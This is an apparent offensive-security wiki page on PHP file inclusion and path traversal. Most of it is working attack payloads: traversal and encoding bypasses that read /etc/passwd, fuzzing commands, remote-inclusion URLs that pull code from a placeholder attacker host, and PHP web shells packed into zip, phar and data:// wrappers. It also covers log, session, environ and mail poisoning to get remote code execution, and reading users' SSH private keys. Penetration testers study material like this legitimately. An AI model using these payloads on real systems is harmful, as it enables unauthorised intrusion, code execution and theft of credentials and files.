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File Inclusion/Path traversal

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File Inclusion

Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include). Local File Inclusion (LFI): The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Vulnerable PHP functions: require, require_once, include, include_once
A interesting tool to exploit this vulnerability: https://github.com/kurobeats/fimap​

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mixing several *nix LFI lists and adding more paths I have created this one:
Try also to change / for \ Try also to add ../../../../../
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here​

Windows

Merging several lists I have created:
Try also to change / for \ Try also to remove C:/ and add ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here​

OS X

Check the LFI list of linux.

Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
This is solved since PHP 5.4

Encoding

You could use non-standard encondings like double URL encode (and others):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

From existent folder

Maybe the back-end is checking the folder path:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Identifying folders on a server

Depending on the applicative code / allowed characters, it might be possible to recursively explore the file system by discovering folders and not just files. In order to do so:
  • identify the "depth" of you current directory by succesfully retrieving /etc/passwd (if on Linux):
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  • try and guess the name of a folder in the current directory by adding the folder name (here, private), and then going back to /etc/passwd:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
  • if the application is vulnerable, there might be two different outcomes to the request:
    • if you get an error / no output, the private folder does not exist at this location
    • if you get the content from /etc/passwd, you validated that there is indeed a privatefolder in your current directory
  • the folder(s) you discovered using this techniques can then be fuzzed for files (using a classic LFI method) or for subdirectories using the same technique recursively.
It is possible to adapt this technique to find directories at any location in the file system. For instance, if, under the same hypothesis (current directory at depth 3 of the file system) you want to check if /var/www/ contains a private directory, use the following payload:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
The following sequence of commands allows the generation of payloads using sed (1) as input for url fuzzing tools such as ffuf (2):
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
Of course, adapt there payloads to your needs in terms of depth / location / input directory list.

Path truncation

Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
​
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
​
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Always try to start the path with a fake directory (a/).
This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd

Basic RFI

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Python Root element

In python in a code like this one:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
If the user passes an absolute path to file_name, the previous path is just removed:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
It is the intended behaviour according to the docs:
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

Java List Directories

It looks like if you have a Path Traversal in Java and you ask for a directory instead of a file, a listing of the directory is returned. This won't be happening in other languages (afaik).

Top 25 parameters

Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:
    • string.rot13
    • string.toupper
    • string.tolower
    • string.strip_tags: Remove tags from the data (everything between "<" and ">" chars)
      • Note that this filter has disappear from the modern versions of PHP
  • ​Conversion Filters​
    • convert.base64-encode
    • convert.base64-decode
    • convert.quoted-printable-encode
    • convert.quoted-printable-decode
    • convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console: iconv -l
Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.
    • zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
    • zlib.inflate: Decompress the data
  • ​Encryption Filters​
    • mcrypt.* : Deprecated
    • mdecrypt.* : Deprecated
  • Other Filters
    • Running in php var_dump(stream_get_filters()); you can find a couple of unexpected filters:
      • consumed
      • dechunk: reverses HTTP chunked encoding
      • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
​
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
​
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
The part "php://filter" is case insensitive

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
You can also use php://stdin, php://stdout and php://stderr to access the file descriptors 0, 1 and 2 respectively (not sure how this could be useful in an attack)

zip:// and rar://

Upload a Zip or Rar file with a PHPShell inside and access it. In order to be able to abuse the rar protocol it need to be specifically activated.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
​
http://example.com/index.php?page=zip://shell.jpg%23payload.php
​
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Note that this protocol is restricted by php configurations allow_url_open and allow_url_include

expect://

Expect has to be activated. You can execute code using this.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Specify your payload in the POST parameters
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

phar://

A .phar file can be also used to execute PHP code if the web is using some function like include to load the file.
create_phar.php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
​
$phar->stopBuffering();
And you can compile the phar executing the following line:
php --define phar.readonly=0 create_path.php
A file called test.phar will be generated that you can use to abuse the LFI.
If the LFI is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol. For more information read the following post:

More protocols

Check more possible protocols to include here:
  • ​php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
  • ​file:// — Accessing local filesystem
  • ​http:// — Accessing HTTP(s) URLs
  • ​ftp:// — Accessing FTP(s) URLs
  • ​zlib:// — Compression Streams
  • ​glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
  • ​ssh2:// — Secure Shell 2
  • ​ogg:// — Audio streams (Not useful to read arbitrary files)

LFI via PHP's 'assert'

If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.
A payload like this:
' and die(show_source('/etc/passwd')) or '
will successfully exploit PHP code for a "file" parameter that looks like this:
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
It's also possible to get RCE in a vulnerable "assert" statement using the system() function:
' and die(system("whoami")) or '
Be sure to URL-encode payloads before you send them.
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PHP Blind Path Traversal

This technique is relevant in cases where you control the file path of a PHP function that will access a file but you won't see the content of the file (like a simple call to file()) but the content is not shown.
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
As sumary, the technique is using the "UCS-4LE" encoding to make the content of a file so big that the PHP function opening the file will trigger an error.
Then, in order to leak the first char the filter dechunk is used along with other such as base64 or rot13 and finally the filters convert.iconv.UCS-4.UCS-4LE and convert.iconv.UTF16.UTF-16BE are used to place other chars at the beggining and leak them.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!

LFI2RCE

Basic RFI

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Via Apache/Nginx log file

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won't have a second opportunity.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header. Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Via Email

Send a mail to a internal account ([email protected]) containing your PHP payload like <?php echo system($_REQUEST["cmd"]); ?> and try to include to the mail of the user with a path like /var/mail/<USERNAME> or /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. 1.
    Upload a lot of shells (for example : 100)
  2. 2.
    Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).
http://example.com/index.php?page=path/to/uploaded/file.png
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Check if the website use PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP these sessions are stored into /var/lib/php5/sess\[PHPSESSID]_ files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Set the cookie to <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa

Via vsftpd logs

The logs of this FTP server are stored in /var/log/vsftpd.log. If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.

Via php filters (no file needed)

This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.

Via segmentation fault

Upload a file that will be stored as temporary in /tmp, then in the same request, trigger a segmentation fault, and then the temporary file won't be deleted and you can search for it.

Via Nginx temp file storage

If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:

Via PHP_SESSION_UPLOAD_PROGRESS

If you found a Local File Inclusion even if you don't have a session and session.auto_start is Off. If you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:

Via temp file uploads in Windows

If you found a Local File Inclusion and and the server is running in Windows you might get RCE:

Via phpinfo() (file_uploads = on)

If you found a Local File Inclusion and a file exposing phpinfo() with file_uploads = on you can get RCE:

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

If you found a Local File Inclusion and you can exfiltrate the path of the temp file BUT the server is checking if the file to be included has PHP marks, you can try to bypass that check with this Race Condition:

Via eternal waiting + bruteforce

If you can abuse the LFI to upload temporary files and make the server hang the PHP execution, you could then brute force filenames during hours to find the temporary file:

To Fatal Error

If you include any of the files /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (You need to include the same one 2 time to throw that error).
I don't know how is this useful but it might be. Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.

References

EN-Local-File-Inclusion-1.pdf
125KB
PDF
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